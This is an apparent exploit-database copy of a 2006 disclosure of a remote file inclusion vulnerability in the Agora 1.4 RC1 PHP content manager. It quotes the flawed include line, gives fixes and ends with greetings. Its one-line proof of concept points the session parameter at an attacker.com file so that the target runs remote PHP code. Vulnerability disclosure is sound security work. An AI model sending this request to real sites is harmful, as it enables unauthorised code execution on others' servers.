ECHO_ADV_59$2006

vendor:

Agora

by:

Dedi Dwianto

CVSS

CRITICAL

Remote File Inclusion Vulnerability

CWE

Product Name: Agora

Affected Version From: 1.4 RC1

Affected Version To: 1.4 RC1

Patch Exists: NO

Related CWE: N/A

CPE: a:agora:agora:1.4_rc1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

Input passed to the "$_SESSION[PATH_COMPOSANT]" parameter in Mysqlfinder.php is not properly verified before being used. This can be exploited to execute arbitrary PHP code by including files from local or external resources.

Mitigation:

Input validation should be performed to ensure that untrusted input is not used to access local or external resources.

Source

Exploit-DB raw data:

____________________   ___ ___ ________
\_   _____/\_   ___ \ /   |   \\_____  \
 |    __)_ /    \  \//    ~    \/   |   \
 |        \\     \___\    Y    /    |    \
/_______  / \______  /\___|_  /\_______  /
        \/         \/       \/         \/                              .OR.ID
ECHO_ADV_59$2006

-----------------------------------------------------------------------------------------------
[ECHO_ADV_59$2006]Agora 1.4 RC1  "$_SESSION[PATH_COMPOSANT]" Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------------

Author		: Dedi Dwianto a.k.a the_day
Date Found	: November, 01nd 2006
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv59-theday-2006.txt
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: Agora
version		: 1.4 RC1
URL		: http://www.agora.gouv.fr

Based on the free software Spip, Agora is a free software of management of contents for 
Internet developed in php, which makes it possible to put in place and to manage quickly 
and with lower cost of the Internet sites, Intranet or extranet.
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability in modules/Mysqlfinder/MysqlfinderAdmin.php
--------------------------modules/Mysqlfinder/MysqlfinderAdmin.php----------
....
<?
include_once($_SESSION["PATH_COMPOSANT"]."Commun/Template.inc")
...
----------------------------------------------------------

Input passed to the "$_SESSION["PATH_COMPOSANT"]" parameter in Mysqlfinder.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.



Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[agora-1.4-path]/modules/Mysqlfinder/MysqlfinderAdmin.php?_SESSION[PATH_COMPOSANT]=http://attacker.com/inject.txt?


Solution:
~~~~~~~

- Insert new line code :
  ...
  include_once 'MysqlfinderParam.inc';
  ...
  
  Before include_once($_SESSION["PATH_COMPOSANT"]."Commun/Template.inc")

- Turn off register_globals
- Turn off display_error to Hide Full Path Error

Timeline :
~~~~~~~~~

01 - 11 - 2006 bugs found
01 - 11 - 2006 vendor contacted
07 - 11 - 2006 public disclosure

---------------------------------------------------------------------------

Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,bomm_3x,matdhule,angelia
~ newbie_hacker@yahoogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~
     EcHo Research & Development Center
     the_day[at]echo[dot]or[dot]id
     
-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2006-11-06]